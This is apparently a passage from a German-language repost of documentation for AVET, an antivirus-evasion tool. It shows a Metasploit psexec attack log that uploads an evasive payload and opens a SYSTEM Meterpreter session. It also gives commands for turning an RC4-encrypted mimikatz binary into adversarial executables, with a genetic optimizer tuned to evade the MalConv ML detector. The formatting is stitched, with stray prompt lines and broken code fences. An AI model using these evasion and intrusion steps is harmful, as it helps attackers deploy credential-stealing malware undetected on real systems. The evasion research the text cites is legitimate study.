payload => windows/meterpreter/bind_tcp
msf exploit(psexec) > set rhost 192.168.116.183
rhost => 192.168.116.183
msf exploit(psexec) > set smbuser dax
smbuser => dax
msf exploit(psexec) > set smbpass test123
smbpass => test123
msf exploit(psexec) > set lport 8443
lport => 8443
msf exploit(psexec) > run

[*] 192.168.116.183:445 - Connecting to the server...
[*] Started bind handler
[*] 192.168.116.183:445 - Authenticating to 192.168.116.183:445 as user 'dax'...
[*] Sending stage (957487 bytes) to 192.168.116.183
[*] 192.168.116.183:445 - Selecting native target
[*] 192.168.116.183:445 - Uploading payload...
[*] 192.168.116.183:445 - Using custom payload /root/tools/avepoc/a.exe, RHOST and RPORT settings will be ignored!
[*] 192.168.116.183:445 - Created \mzrCIOVg.exe...
[+] 192.168.116.183:445 - Service started successfully...
[*] 192.168.116.183:445 - Deleting \mzrCIOVg.exe...
[-] 192.168.116.183:445 - Delete of \mzrCIOVg.exe failed: The server responded with error: STATUS_CANNOT_DELETE (Command=6 WordCount=0)
[*] Exploit completed, but no session was created.
msf exploit(psexec) > [*] Meterpreter session 4 opened (192.168.116.142:33453 -> 192.168.116.183:8443) at 2017-05-27 18:47:23 +0200

msf exploit(psexec) > sessions

Active sessions
===============

Id Type Information Connection
-- ---- ----------- ----------
4 meterpreter x86/windows NT-AUTORIT_T\SYSTEM @ DAX-RYMZ48Z3EYO 192.168.116.142:33453 -> 192.168.116.183:8443 (192.168.116.183)

msf exploit(psexec) > sessions -i 4
[*] Starting interaction with 4...

meterpreter > sysinfo
Computer : DAX-RYMZ48Z3EYO
OS : Windows XP (Build 2600, Service Pack 3).
Architecture : x86
System Language : de_DE
Domain : ARBEITSGRUPPE
Logged On Users : 2
Meterpreter : x86/windows

Adversarial Examples

Adversarial examples sind speziell entwickelte Eingaben mit dem Zweck, maschinelle Lernmodelle zu Fehlklassifikationen zu führen.

Um diese Methode zu verwenden, erstellen Sie bitte eine virtuelle Umgebung und installieren Sie die benötigten Abhängigkeiten aus requirements.txt.

Practical Manipulations

Fünf funktionsbewahrende Manipulationen für PE-Dateien sind verfügbar:

Practical Manipulations

Um die praktische Manipulation auf die Malware mit injizierten zufälligen Bytes anzuwenden, verwenden Sie den Befehl gen_adversarial_exe gefolgt vom Namen der praktischen Manipulation und dem Pfad zur Datei als Parameter. Verfügbare Manipulationen sind full_dos, extend, shift, padding, section_injection.

Zum Beispiel:```sh gen_adversarial_exe section_injection output/rc4enc_mimikatz_adversarial_win64.exe

root@kitploit:~
### Genetische Optimierung
Anstatt zufälligen Inhalt zu injizieren, ist es möglich, den Inhalt zu optimieren, um eine höhere Wahrscheinlichkeit der Umgehung zu erreichen.
Der Optimierer extrahiert gutartige Abschnitte aus Goodware und verwendet einen genetischen Algorithmus, um den injizierten Inhalt zu optimieren.
Der Inhalt wird gegen MalConv optimiert, einen statischen, maschinenlernbasierten Detektor, der auf einem Convolutional Neural Network basiert.
Die verwendete MalConv-Implementierung stammt aus der Bibliothek [SecML Malware](https://github.com/pralab/secml_malware).

Goodware ist erforderlich und sollte in den Ordner `input/goodware_samples` gelegt werden.
Der [DikeDataset](https://github.com/iosifache/DikeDataset) ist beispielsweise eine gute Quelle, um gutartige ausführbare Dateien zu erhalten. Je mehr, desto besser, aber 100 ist für Testzwecke ausreichend.

Um den Optimierer zu verwenden, nutzen Sie den Befehl `$genetic_optimizer`:```sh
$genetic_optimizer -pm $practical_manipulation -p $population_size output/rc4enc_mimikatz_adversarial_win64.exe

Mögliche Optionen:``` -p, --population_size, default=50 -e, --elitsm, default=10 -i, --iteration, default=10 -pr, --penalty_regularizer, default=1e-6 -ss, --section_size, default=10 -pm, --practical_manipulation, default=section_injection

root@kitploit:~
Weitere Informationen zu adversarial examples, genetischer Optimierung und MalConv finden Sie hier:
- [Adversarial EXEmples: A Survey and Experimental Evaluation of Practical Attacks on Machine Learning for Windows Malware Detection](https://arxiv.org/abs/2008.07125)
- [Functionality-preserving Black-box Optimization of Adversarial Windows Malware](https://arxiv.org/abs/2003.13526)
- [Malware Detection by Eating a Whole EXE](https://arxiv.org/abs/1710.09435)

## Mehr
---

Für Grundlagen zur Antivirus-Umgehung, AVET und weitere Informationen schauen Sie hier (meist für Version 1.3):
- [https://govolution.wordpress.com/2018/08/07/paper-avet-blackhat-usa-arsenal-2018/](https://govolution.wordpress.com/2018/08/07/paper-avet-blackhat-usa-arsenal-2018/)
- [https://govolution.wordpress.com/2017/06/11/avet-video/](https://govolution.wordpress.com/2017/06/11/avet-video/)
- [https://govolutionde.files.wordpress.com/2014/05/avevasion_pentestmag.pdf](https://govolutionde.files.wordpress.com/2014/05/avevasion_pentestmag.pdf)
- [https://deepsec.net/docs/Slides/2014/Why_Antivirus_Fails_-_Daniel_Sauder.pdf](https://deepsec.net/docs/Slides/2014/Why_Antivirus_Fails_-_Daniel_Sauder.pdf)
- [https://twitter.com/DanielX4v3r](https://twitter.com/DanielX4v3r)
- [https://github.com/govolution/avetosx](https://github.com/govolution/avetosx)
- [https://github.com/tacticaljmp](https://github.com/tacticaljmp)
- [https://github.com/Mr-Un1k0d3r/DKMC](https://github.com/Mr-Un1k0d3r/DKMC)
- [https://github.com/m0n0ph1/Basic-File-Crypter](https://github.com/m0n0ph1/Basic-File-Crypter)
- [https://github.com/hasherezade/pe_to_shellcode](https://github.com/hasherezade/pe_to_shellcode)
- [https://github.com/hasherezade/demos/](https://github.com/hasherezade/demos/)
- [https://github.com/a0rtega/pafish](https://github.com/a0rtega/pafish)
- [https://danielsauder.com](https://danielsauder.com)